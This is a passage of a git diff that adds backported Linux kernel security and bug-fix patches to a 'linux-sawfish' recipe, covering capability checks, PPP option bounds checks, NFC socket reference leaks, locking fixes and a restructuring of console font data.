+5559,9 @@ + bool already = false; + int ret; + ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EPERM; ++ + ret = kstrtoul(buf, 10, &ul); + if (ret) + return ret; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0683.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0683.diff new file mode 100644 index 0000000..be1853e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0683.diff @@ -0,0 +1,51 @@ +diff --git a/mm/hugetlb.c b/mm/hugetlb.c +index 92e4f12..42cdd55 100644 +--- a/mm/hugetlb.c ++++ b/mm/hugetlb.c +@@ -2304,6 +2304,22 @@ + } + + #ifdef CONFIG_SYSCTL ++static int proc_hugetlb_doulongvec_minmax(struct ctl_table *table, int write, ++ void *buffer, size_t *length, ++ loff_t *ppos, unsigned long *out) ++{ ++ struct ctl_table dup_table; ++ ++ /* ++ * In order to avoid races with __do_proc_doulongvec_minmax(), we ++ * can duplicate the @table and alter the duplicate of it. ++ */ ++ dup_table = *table; ++ dup_table.data = out; ++ ++ return proc_doulongvec_minmax(&dup_table, write, buffer, length, ppos); ++} ++ + static int hugetlb_sysctl_handler_common(bool obey_mempolicy, + struct ctl_table *table, int write, + void __user *buffer, size_t *length, loff_t *ppos) +@@ -2315,9 +2331,8 @@ + if (!hugepages_supported()) + return -ENOTSUPP; + +- table->data = &tmp; +- table->maxlen = sizeof(unsigned long); +- ret = proc_doulongvec_minmax(table, write, buffer, length, ppos); ++ ret = proc_hugetlb_doulongvec_minmax(table, write, buffer, length, ppos, ++ &tmp); + if (ret) + goto out; + +@@ -2361,9 +2376,8 @@ + if (write && hstate_is_gigantic(h)) + return -EINVAL; + +- table->data = &tmp; +- table->maxlen = sizeof(unsigned long); +- ret = proc_doulongvec_minmax(table, write, buffer, length, ppos); ++ ret = proc_hugetlb_doulongvec_minmax(table, write, buffer, length, ppos, ++ &tmp); + if (ret) + goto out; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0684.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0684.diff new file mode 100644 index 0000000..f9ba012 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0684.diff @@ -0,0 +1,48 @@ +diff --git a/drivers/net/wan/hdlc_ppp.c b/drivers/net/wan/hdlc_ppp.c +index 4842344..a2559f2 100644 +--- a/drivers/net/wan/hdlc_ppp.c ++++ b/drivers/net/wan/hdlc_ppp.c +@@ -386,11 +386,8 @@ + } + + for (opt = data; len; len -= opt[1], opt += opt[1]) { +- if (len < 2 || len < opt[1]) { +- dev->stats.rx_errors++; +- kfree(out); +- return; /* bad packet, drop silently */ +- } ++ if (len < 2 || opt[1] < 2 || len < opt[1]) ++ goto err_out; + + if (pid == PID_LCP) + switch (opt[0]) { +@@ -398,6 +395,8 @@ + continue; /* MRU always OK and > 1500 bytes? */ + + case LCP_OPTION_ACCM: /* async control character map */ ++ if (opt[1] < sizeof(valid_accm)) ++ goto err_out; + if (!memcmp(opt, valid_accm, + sizeof(valid_accm))) + continue; +@@ -409,6 +408,8 @@ + } + break; + case LCP_OPTION_MAGIC: ++ if (len < 6) ++ goto err_out; + if (opt[1] != 6 || (!opt[2] && !opt[3] && + !opt[4] && !opt[5])) + break; /* reject invalid magic number */ +@@ -427,6 +428,11 @@ + ppp_cp_event(dev, pid, RCR_GOOD, CP_CONF_ACK, id, req_len, data); + + kfree(out); ++ return; ++ ++err_out: ++ dev->stats.rx_errors++; ++ kfree(out); + } + + static int ppp_rx(struct sk_buff *skb) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0685.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0685.diff new file mode 100644 index 0000000..28953b5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0685.diff @@ -0,0 +1,122 @@ +diff --git a/drivers/tty/vt/vt_ioctl.c b/drivers/tty/vt/vt_ioctl.c +index 5093cb2..eb5dd61 100644 +--- a/drivers/tty/vt/vt_ioctl.c ++++ b/drivers/tty/vt/vt_ioctl.c +@@ -241,7 +241,7 @@ + + + static inline int +-do_fontx_ioctl(int cmd, struct consolefontdesc __user *user_cfd, int perm, struct console_font_op *op) ++do_fontx_ioctl(struct vc_data *vc, int cmd, struct consolefontdesc __user *user_cfd, int perm, struct console_font_op *op) + { + struct consolefontdesc cfdarg; + int i; +@@ -259,15 +259,16 @@ + op->height = cfdarg.charheight; + op->charcount = cfdarg.charcount; + op->data = cfdarg.chardata; +- return con_font_op(vc_cons[fg_console].d, op); +- case GIO_FONTX: { ++ return con_font_op(vc, op); ++ ++ case GIO_FONTX: + op->op = KD_FONT_OP_GET; + op->flags = KD_FONT_FLAG_OLD; + op->width = 8; + op->height = cfdarg.charheight; + op->charcount = cfdarg.charcount; + op->data = cfdarg.chardata; +- i = con_font_op(vc_cons[fg_console].d, op); ++ i = con_font_op(vc, op); + if (i) + return i; + cfdarg.charheight = op->height; +@@ -275,7 +276,6 @@ + if (copy_to_user(user_cfd, &cfdarg, sizeof(struct consolefontdesc))) + return -EFAULT; + return 0; +- } + } + return -EINVAL; + } +@@ -923,7 +923,7 @@ + op.height = 0; + op.charcount = 256; + op.data = up; +- ret = con_font_op(vc_cons[fg_console].d, &op); ++ ret = con_font_op(vc, &op); + break; + } + +@@ -934,7 +934,7 @@ + op.height = 32; + op.charcount = 256; + op.data = up; +- ret = con_font_op(vc_cons[fg_console].d, &op); ++ ret = con_font_op(vc, &op); + break; + } + +@@ -951,7 +951,7 @@ + + case PIO_FONTX: + case GIO_FONTX: +- ret = do_fontx_ioctl(cmd, up, perm, &op); ++ ret = do_fontx_ioctl(vc, cmd, up, perm, &op); + break; + + case PIO_FONTRESET: +@@ -968,11 +968,11 @@ + { + op.op = KD_FONT_OP_SET_DEFAULT; + op.data = NULL; +- ret = con_font_op(vc_cons[fg_console].d, &op); ++ ret = con_font_op(vc, &op); + if (ret) + break; + console_lock(); +- con_set_default_unimap(vc_cons[fg_console].d); ++ con_set_default_unimap(vc); + console_unlock(); + break; + } +@@ -1105,8 +1105,9 @@ + }; + + static inline int +-compat_fontx_ioctl(int cmd, struct compat_consolefontdesc __user *user_cfd, +- int perm, struct console_font_op *op) ++compat_fontx_ioctl(struct vc_data *vc, int cmd, ++ struct compat_consolefontdesc __user *user_cfd, ++ int perm, struct console_font_op *op) + { + struct compat_consolefontdesc cfdarg; + int i; +@@ -1124,7 +1125,8 @@ + op->height = cfdarg.charheight; + op->charcount = cfdarg.charcount; + op->data = compat_ptr(cfdarg.chardata); +- return con_font_op(vc_cons[fg_console].d, op); ++ return con_font_op(vc, op); ++ + case GIO_FONTX: + op->op = KD_FONT_OP_GET; + op->flags = KD_FONT_FLAG_OLD; +@@ -1132,7 +1134,7 @@ + op->height = cfdarg.charheight; + op->charcount = cfdarg.charcount; + op->data = compat_ptr(cfdarg.chardata); +- i = con_font_op(vc_cons[fg_console].d, op); ++ i = con_font_op(vc, op); + if (i) + return i; + cfdarg.charheight = op->height; +@@ -1227,7 +1229,7 @@ + */ + case PIO_FONTX: + case GIO_FONTX: +- ret = compat_fontx_ioctl(cmd, up, perm, &op); ++ ret = compat_fontx_ioctl(vc, cmd, up, perm, &op); + break; + + case KDFONTOP: diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0686.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0686.diff new file mode 100644 index 0000000..22dee7b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0686.diff @@ -0,0 +1,74 @@ +diff --git a/drivers/input/keyboard/sunkbd.c b/drivers/input/keyboard/sunkbd.c +index dc6bb9d5..191c27d 100644 +--- a/drivers/input/keyboard/sunkbd.c ++++ b/drivers/input/keyboard/sunkbd.c +@@ -115,7 +115,8 @@ + switch (data) { + + case SUNKBD_RET_RESET: +- schedule_work(&sunkbd->tq); ++ if (sunkbd->enabled) ++ schedule_work(&sunkbd->tq); + sunkbd->reset = -1; + break; + +@@ -216,16 +217,12 @@ + } + + /* +- * sunkbd_reinit() sets leds and beeps to a state the computer remembers they +- * were in. ++ * sunkbd_set_leds_beeps() sets leds and beeps to a state the computer remembers ++ * they were in. + */ + +-static void sunkbd_reinit(struct work_struct *work) ++static void sunkbd_set_leds_beeps(struct sunkbd *sunkbd) + { +- struct sunkbd *sunkbd = container_of(work, struct sunkbd, tq); +- +- wait_event_interruptible_timeout(sunkbd->wait, sunkbd->reset >= 0, HZ); +- + serio_write(sunkbd->serio, SUNKBD_CMD_SETLED); + serio_write(sunkbd->serio, + (!!test_bit(LED_CAPSL, sunkbd->dev->led) << 3) | +@@ -238,11 +235,39 @@ + SUNKBD_CMD_BELLOFF - !!test_bit(SND_BELL, sunkbd->dev->snd)); + } + ++ ++/* ++ * sunkbd_reinit() wait for the keyboard reset to complete and restores state ++ * of leds and beeps. ++ */ ++ ++static void sunkbd_reinit(struct work_struct *work) ++{ ++ struct sunkbd *sunkbd = container_of(work, struct sunkbd, tq); ++ ++ /* ++ * It is OK that we check sunkbd->enabled without pausing serio, ++ * as we only want to catch true->false transition that will ++ * happen once and we will be woken up for it. ++ */ ++ wait_event_interruptible_timeout(sunkbd->wait, ++ sunkbd->reset >= 0 || !sunkbd->enabled, ++ HZ); ++ ++ if (sunkbd->reset >= 0 && sunkbd->enabled) ++ sunkbd_set_leds_beeps(sunkbd); ++} ++ + static void sunkbd_enable(struct sunkbd *sunkbd, bool enable) + { + serio_pause_rx(sunkbd->serio); + sunkbd->enabled = enable; + serio_continue_rx(sunkbd->serio); ++ ++ if (!enable) { ++ wake_up_interruptible(&sunkbd->wait); ++ cancel_work_sync(&sunkbd->tq); ++ } + } + + /* diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0687.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0687.diff new file mode 100644 index 0000000..3565bbe --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0687.diff @@ -0,0 +1,20 @@ +diff --git a/net/nfc/llcp_sock.c b/net/nfc/llcp_sock.c +index 28b7b55..f494f59 100644 +--- a/net/nfc/llcp_sock.c ++++ b/net/nfc/llcp_sock.c +@@ -710,6 +710,7 @@ + llcp_sock->local = nfc_llcp_local_get(local); + llcp_sock->ssap = nfc_llcp_get_local_ssap(local); + if (llcp_sock->ssap == LLCP_SAP_MAX) { ++ nfc_llcp_local_put(llcp_sock->local); + ret = -ENOMEM; + goto put_dev; + } +@@ -747,6 +748,7 @@ + + sock_unlink: + nfc_llcp_put_ssap(local, llcp_sock->ssap); ++ nfc_llcp_local_put(llcp_sock->local); + + nfc_llcp_sock_unlink(&local->connecting_sockets, sk); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0688.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0688.diff new file mode 100644 index 0000000..391ca52 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0688.diff @@ -0,0 +1,13 @@ +diff --git a/net/nfc/llcp_sock.c b/net/nfc/llcp_sock.c +index f494f59..1aaab8f 100644 +--- a/net/nfc/llcp_sock.c ++++ b/net/nfc/llcp_sock.c +@@ -751,6 +751,8 @@ + nfc_llcp_local_put(llcp_sock->local); + + nfc_llcp_sock_unlink(&local->connecting_sockets, sk); ++ kfree(llcp_sock->service_name); ++ llcp_sock->service_name = NULL; + + put_dev: + nfc_put_device(dev); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0689.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0689.diff new file mode 100644 index 0000000..60d84ee --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0689.diff @@ -0,0 +1,15 @@ +diff --git a/net/nfc/llcp_sock.c b/net/nfc/llcp_sock.c +index 1aaab8f..036dc3e 100644 +--- a/net/nfc/llcp_sock.c ++++ b/net/nfc/llcp_sock.c +@@ -679,6 +679,10 @@ + ret = -EISCONN; + goto error; + } ++ if (sk->sk_state == LLCP_CONNECTING) { ++ ret = -EINPROGRESS; ++ goto error; ++ } + + dev = nfc_get_device(addr->dev_idx); + if (dev == NULL) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0690.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0690.diff new file mode 100644 index 0000000..eb76139 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0690.diff @@ -0,0 +1,20 @@ +diff --git a/net/nfc/rawsock.c b/net/nfc/rawsock.c +index 11c3544..47de2eb 100644 +--- a/net/nfc/rawsock.c ++++ b/net/nfc/rawsock.c +@@ -344,10 +344,13 @@ + if ((sock->type != SOCK_SEQPACKET) && (sock->type != SOCK_RAW)) + return -ESOCKTNOSUPPORT; + +- if (sock->type == SOCK_RAW) ++ if (sock->type == SOCK_RAW) { ++ if (!capable(CAP_NET_RAW)) ++ return -EPERM; + sock->ops = &rawsock_raw_ops; +- else ++ } else { + sock->ops = &rawsock_ops; ++ } + + sk = sk_alloc(net, PF_NFC, GFP_ATOMIC, nfc_proto->proto); + if (!sk) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0691.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0691.diff new file mode 100644 index 0000000..bba12ff --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0691.diff @@ -0,0 +1,14 @@ +diff --git a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c +index c16f68b..f6cda3d 100644 +--- a/net/xfrm/xfrm_policy.c ++++ b/net/xfrm/xfrm_policy.c +@@ -328,7 +328,9 @@ + + static void xfrm_policy_kill(struct xfrm_policy *policy) + { ++ write_lock_bh(&policy->lock); + policy->walk.dead = 1; ++ write_unlock_bh(&policy->lock); + + atomic_inc(&policy->genid); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0692.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0692.diff new file mode 100644 index 0000000..7bd233d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0692.diff @@ -0,0 +1,12 @@ +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index f5c54bb..b042329 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -328,6 +328,7 @@ + [NL80211_ATTR_CONTROL_PORT_ETHERTYPE] = { .type = NLA_U16 }, + [NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT] = { .type = NLA_FLAG }, + [NL80211_ATTR_PRIVACY] = { .type = NLA_FLAG }, ++ [NL80211_ATTR_STATUS_CODE] = { .type = NLA_U16 }, + [NL80211_ATTR_CIPHER_SUITE_GROUP] = { .type = NLA_U32 }, + [NL80211_ATTR_WPA_VERSIONS] = { .type = NLA_U32 }, + [NL80211_ATTR_PID] = { .type = NLA_U32 }, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0693.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0693.diff new file mode 100644 index 0000000..bde3003 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0693.diff @@ -0,0 +1,13 @@ +diff --git a/fs/jfs/jfs_dmap.h b/fs/jfs/jfs_dmap.h +index 562b9a7e..f502a15 100644 +--- a/fs/jfs/jfs_dmap.h ++++ b/fs/jfs/jfs_dmap.h +@@ -196,7 +196,7 @@ + #define dmt_leafidx t1.leafidx + #define dmt_height t1.height + #define dmt_budmin t1.budmin +-#define dmt_stree t1.stree ++#define dmt_stree t2.stree + + /* + * on-disk aggregate disk allocation map descriptor. diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0694.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0694.diff new file mode 100644 index 0000000..a1a0705 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0694.diff @@ -0,0 +1,22 @@ +diff --git a/kernel/trace/ring_buffer.c b/kernel/trace/ring_buffer.c +index 7eb3c33..7860bd3a 100644 +--- a/kernel/trace/ring_buffer.c ++++ b/kernel/trace/ring_buffer.c +@@ -4257,6 +4257,8 @@ + + if (!cpumask_test_cpu(cpu, buffer->cpumask)) + return; ++ /* prevent another thread from changing buffer sizes */ ++ mutex_lock(&buffer->mutex); + + atomic_inc(&buffer->resize_disabled); + atomic_inc(&cpu_buffer->record_disabled); +@@ -4280,6 +4282,8 @@ + + atomic_dec(&cpu_buffer->record_disabled); + atomic_dec(&buffer->resize_disabled); ++ ++ mutex_unlock(&buffer->mutex); + } + EXPORT_SYMBOL_GPL(ring_buffer_reset_cpu); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0695.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0695.diff new file mode 100644 index 0000000..00102fb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0695.diff @@ -0,0 +1,84 @@ +diff --git a/drivers/video/console/fbcon.h b/drivers/video/console/fbcon.h +index b4fdee2..38d7e0f 100644 +--- a/drivers/video/console/fbcon.h ++++ b/drivers/video/console/fbcon.h +@@ -150,13 +150,6 @@ + #define attr_bgcol_ec(bgshift, vc, info) attr_col_ec(bgshift, vc, info, 0) + #define attr_fgcol_ec(fgshift, vc, info) attr_col_ec(fgshift, vc, info, 1) + +-/* Font */ +-#define REFCOUNT(fd) (((int *)(fd))[-1]) +-#define FNTSIZE(fd) (((int *)(fd))[-2]) +-#define FNTCHARCNT(fd) (((int *)(fd))[-3]) +-#define FNTSUM(fd) (((int *)(fd))[-4]) +-#define FONT_EXTRA_WORDS 4 +- + /* + * Scroll Method + */ +diff --git a/drivers/video/console/fbcon_rotate.c b/drivers/video/console/fbcon_rotate.c +index db6528f..0e332108 100644 +--- a/drivers/video/console/fbcon_rotate.c ++++ b/drivers/video/console/fbcon_rotate.c +@@ -14,6 +14,7 @@ + #include + #include + #include ++#include + #include + #include "fbcon.h" + #include "fbcon_rotate.h" +diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c +index ec613fa..febd373 100644 +--- a/drivers/video/console/newport_con.c ++++ b/drivers/video/console/newport_con.c +@@ -35,12 +35,6 @@ + + #define FONT_DATA ((unsigned char *)font_vga_8x16.data) + +-/* borrowed from fbcon.c */ +-#define REFCOUNT(fd) (((int *)(fd))[-1]) +-#define FNTSIZE(fd) (((int *)(fd))[-2]) +-#define FNTCHARCNT(fd) (((int *)(fd))[-3]) +-#define FONT_EXTRA_WORDS 3 +- + static unsigned char *font_data[MAX_NR_CONSOLES]; + + static struct newport_regs *npregs; +@@ -522,6 +516,7 @@ + FNTSIZE(new_data) = size; + FNTCHARCNT(new_data) = op->charcount; + REFCOUNT(new_data) = 0; /* usage counter */ ++ FNTSUM(new_data) = 0; + + p = new_data; + for (i = 0; i < op->charcount; i++) { +diff --git a/drivers/video/console/tileblit.c b/drivers/video/console/tileblit.c +index 3c0b242..6917172 100644 +--- a/drivers/video/console/tileblit.c ++++ b/drivers/video/console/tileblit.c +@@ -13,6 +13,7 @@ + #include + #include + #include ++#include + #include + #include "fbcon.h" + +diff --git a/include/linux/font.h b/include/linux/font.h +index d682176..0a3639a 100644 +--- a/include/linux/font.h ++++ b/include/linux/font.h +@@ -57,4 +57,12 @@ + /* Max. length for the name of a predefined font */ + #define MAX_FONT_NAME 32 + ++/* Extra word getters */ ++#define REFCOUNT(fd) (((int *)(fd))[-1]) ++#define FNTSIZE(fd) (((int *)(fd))[-2]) ++#define FNTCHARCNT(fd) (((int *)(fd))[-3]) ++#define FNTSUM(fd) (((int *)(fd))[-4]) ++ ++#define FONT_EXTRA_WORDS 4 ++ + #endif /* _VIDEO_FONT_H */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0696.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0696.diff new file mode 100644 index 0000000..19c4a7e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0696.diff @@ -0,0 +1,376 @@ +diff --git a/include/linux/font.h b/include/linux/font.h +index 0a3639a..f85e70b 100644 +--- a/include/linux/font.h ++++ b/include/linux/font.h +@@ -65,4 +65,9 @@ + + #define FONT_EXTRA_WORDS 4 + ++struct font_data { ++ unsigned int extra[FONT_EXTRA_WORDS]; ++ const unsigned char data[]; ++} __packed; ++ + #endif /* _VIDEO_FONT_H */ +diff --git a/lib/fonts/font_10x18.c b/lib/fonts/font_10x18.c +index 6be72bb..87e904f 100644 +--- a/lib/fonts/font_10x18.c ++++ b/lib/fonts/font_10x18.c +@@ -7,8 +7,8 @@ + + #define FONTDATAMAX 9216 + +-static const unsigned char fontdata_10x18[FONTDATAMAX] = { +- ++static struct font_data fontdata_10x18 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, 0x00, /* 0000000000 */ + 0x00, 0x00, /* 0000000000 */ +@@ -5128,8 +5128,7 @@ + 0x00, 0x00, /* 0000000000 */ + 0x00, 0x00, /* 0000000000 */ + 0x00, 0x00, /* 0000000000 */ +- +-}; ++} }; + + + const struct font_desc font_10x18 = { +@@ -5137,7 +5136,7 @@ + .name = "10x18", + .width = 10, + .height = 18, +- .data = fontdata_10x18, ++ .data = fontdata_10x18.data, + #ifdef __sparc__ + .pref = 5, + #else +diff --git a/lib/fonts/font_6x10.c b/lib/fonts/font_6x10.c +index b206209..896ffa9 100644 +--- a/lib/fonts/font_6x10.c ++++ b/lib/fonts/font_6x10.c +@@ -1,7 +1,9 @@ + #include + +-static const unsigned char fontdata_6x10[] = { ++#define FONTDATAMAX 2560 + ++static struct font_data fontdata_6x10 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +@@ -3073,14 +3075,13 @@ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +- +-}; ++} }; + + const struct font_desc font_6x10 = { + .idx = FONT6x10_IDX, + .name = "6x10", + .width = 6, + .height = 10, +- .data = fontdata_6x10, ++ .data = fontdata_6x10.data, + .pref = 0, + }; +diff --git a/lib/fonts/font_6x11.c b/lib/fonts/font_6x11.c +index 46e86e6..eb46a59 100644 +--- a/lib/fonts/font_6x11.c ++++ b/lib/fonts/font_6x11.c +@@ -8,8 +8,8 @@ + + #define FONTDATAMAX (11*256) + +-static const unsigned char fontdata_6x11[FONTDATAMAX] = { +- ++static struct font_data fontdata_6x11 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +@@ -3337,8 +3337,7 @@ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +- +-}; ++} }; + + + const struct font_desc font_vga_6x11 = { +@@ -3346,7 +3345,7 @@ + .name = "ProFont6x11", + .width = 6, + .height = 11, +- .data = fontdata_6x11, ++ .data = fontdata_6x11.data, + /* Try avoiding this font if possible unless on MAC */ + .pref = -2000, + }; +diff --git a/lib/fonts/font_7x14.c b/lib/fonts/font_7x14.c +index 3b7dbf9..c88b3bb 100644 +--- a/lib/fonts/font_7x14.c ++++ b/lib/fonts/font_7x14.c +@@ -7,8 +7,8 @@ + + #define FONTDATAMAX 3584 + +-static const unsigned char fontdata_7x14[FONTDATAMAX] = { +- ++static struct font_data fontdata_7x14 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, /* 0000000 */ + 0x00, /* 0000000 */ +@@ -4104,8 +4104,7 @@ + 0x00, /* 0000000 */ + 0x00, /* 0000000 */ + 0x00, /* 0000000 */ +- +-}; ++} }; + + + const struct font_desc font_7x14 = { +@@ -4113,6 +4112,6 @@ + .name = "7x14", + .width = 7, + .height = 14, +- .data = fontdata_7x14, ++ .data = fontdata_7x14.data, + .pref = 0, + }; +diff --git a/lib/fonts/font_8x16.c b/lib/fonts/font_8x16.c +index 00a0c67..ba53e26 100644 +--- a/lib/fonts/font_8x16.c ++++ b/lib/fonts/font_8x16.c +@@ -9,8 +9,8 @@ + + #define FONTDATAMAX 4096 + +-static const unsigned char fontdata_8x16[FONTDATAMAX] = { +- ++static struct font_data fontdata_8x16 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +@@ -4618,8 +4618,7 @@ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +- +-}; ++} }; + + + const struct font_desc font_vga_8x16 = { +@@ -4627,7 +4626,7 @@ + .name = "VGA8x16", + .width = 8, + .height = 16, +- .data = fontdata_8x16, ++ .data = fontdata_8x16.data, + .pref = 0, + }; + EXPORT_SYMBOL(font_vga_8x16); +diff --git a/lib/fonts/font_8x8.c b/lib/fonts/font_8x8.c +index 9f56efe..4d28b81 100644 +--- a/lib/fonts/font_8x8.c ++++ b/lib/fonts/font_8x8.c +@@ -8,8 +8,8 @@ + + #define FONTDATAMAX 2048 + +-static const unsigned char fontdata_8x8[FONTDATAMAX] = { +- ++static struct font_data fontdata_8x8 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +@@ -2569,8 +2569,7 @@ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +- +-}; ++} }; + + + const struct font_desc font_vga_8x8 = { +@@ -2578,6 +2577,6 @@ + .name = "VGA8x8", + .width = 8, + .height = 8, +- .data = fontdata_8x8, ++ .data = fontdata_8x8.data, + .pref = 0, + }; +diff --git a/lib/fonts/font_acorn_8x8.c b/lib/fonts/font_acorn_8x8.c +index 639e31a..957398b 100644 +--- a/lib/fonts/font_acorn_8x8.c ++++ b/lib/fonts/font_acorn_8x8.c +@@ -2,7 +2,10 @@ + + #include + +-static const unsigned char acorndata_8x8[] = { ++#define FONTDATAMAX 2048 ++ ++static struct font_data acorndata_8x8 = { ++{ 0, 0, FONTDATAMAX, 0 }, { + /* 00 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ^@ */ + /* 01 */ 0x7e, 0x81, 0xa5, 0x81, 0xbd, 0x99, 0x81, 0x7e, /* ^A */ + /* 02 */ 0x7e, 0xff, 0xbd, 0xff, 0xc3, 0xe7, 0xff, 0x7e, /* ^B */ +@@ -259,14 +262,14 @@ + /* FD */ 0x38, 0x04, 0x18, 0x20, 0x3c, 0x00, 0x00, 0x00, + /* FE */ 0x00, 0x00, 0x3c, 0x3c, 0x3c, 0x3c, 0x00, 0x00, + /* FF */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +-}; ++} }; + + const struct font_desc font_acorn_8x8 = { + .idx = ACORN8x8_IDX, + .name = "Acorn8x8", + .width = 8, + .height = 8, +- .data = acorndata_8x8, ++ .data = acorndata_8x8.data, + #ifdef CONFIG_ARCH_ACORN + .pref = 20, + #else +diff --git a/lib/fonts/font_mini_4x6.c b/lib/fonts/font_mini_4x6.c +index 838caa1..1449876 100644 +--- a/lib/fonts/font_mini_4x6.c ++++ b/lib/fonts/font_mini_4x6.c +@@ -43,8 +43,8 @@ + + #define FONTDATAMAX 1536 + +-static const unsigned char fontdata_mini_4x6[FONTDATAMAX] = { +- ++static struct font_data fontdata_mini_4x6 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /*{*/ + /* Char 0: ' ' */ + 0xee, /*= [*** ] */ +@@ -2145,14 +2145,14 @@ + 0xee, /*= [*** ] */ + 0x00, /*= [ ] */ + /*}*/ +-}; ++} }; + + const struct font_desc font_mini_4x6 = { + .idx = MINI4x6_IDX, + .name = "MINI4x6", + .width = 4, + .height = 6, +- .data = fontdata_mini_4x6, ++ .data = fontdata_mini_4x6.data, + .pref = 3, + }; + +diff --git a/lib/fonts/font_pearl_8x8.c b/lib/fonts/font_pearl_8x8.c +index dc6ad53..4649314 100644 +--- a/lib/fonts/font_pearl_8x8.c ++++ b/lib/fonts/font_pearl_8x8.c +@@ -13,8 +13,8 @@ + + #define FONTDATAMAX 2048 + +-static const unsigned char fontdata_pearl8x8[FONTDATAMAX] = { +- ++static struct font_data fontdata_pearl8x8 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +@@ -2574,14 +2574,13 @@ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ + 0x00, /* 00000000 */ +- +-}; ++} }; + + const struct font_desc font_pearl_8x8 = { + .idx = PEARL8x8_IDX, + .name = "PEARL8x8", + .width = 8, + .height = 8, +- .data = fontdata_pearl8x8, ++ .data = fontdata_pearl8x8.data, + .pref = 2, + }; +diff --git a/lib/fonts/font_sun12x22.c b/lib/fonts/font_sun12x22.c +index d364385..c6967cd 100644 +--- a/lib/fonts/font_sun12x22.c ++++ b/lib/fonts/font_sun12x22.c +@@ -2,8 +2,8 @@ + + #define FONTDATAMAX 11264 + +-static const unsigned char fontdata_sun12x22[FONTDATAMAX] = { +- ++static struct font_data fontdata_sun12x22 = { ++ { 0, 0, FONTDATAMAX, 0 }, { + /* 0 0x00 '^@' */ + 0x00, 0x00, /* 000000000000 */ + 0x00, 0x00, /* 000000000000 */ +@@ -6147,8 +6147,7 @@ + 0x00, 0x00, /* 000000000000 */ + 0x00, 0x00, /* 000000000000 */ + 0x00, 0x00, /* 000000000000 */ +- +-}; ++} }; + + + const struct font_desc font_sun_12x22 = { +@@ -6156,7 +6155,7 @@ + .name = "SUN12x22", + .width = 12, + .height = 22, +- .data = fontdata_sun12x22, ++ .data = fontdata_sun12x22.data, + #ifdef __sparc__ + .pref = 5, + #else +diff --git a/lib/fonts/font_sun8x16.c b/lib/fonts/font_sun8x16.c +index 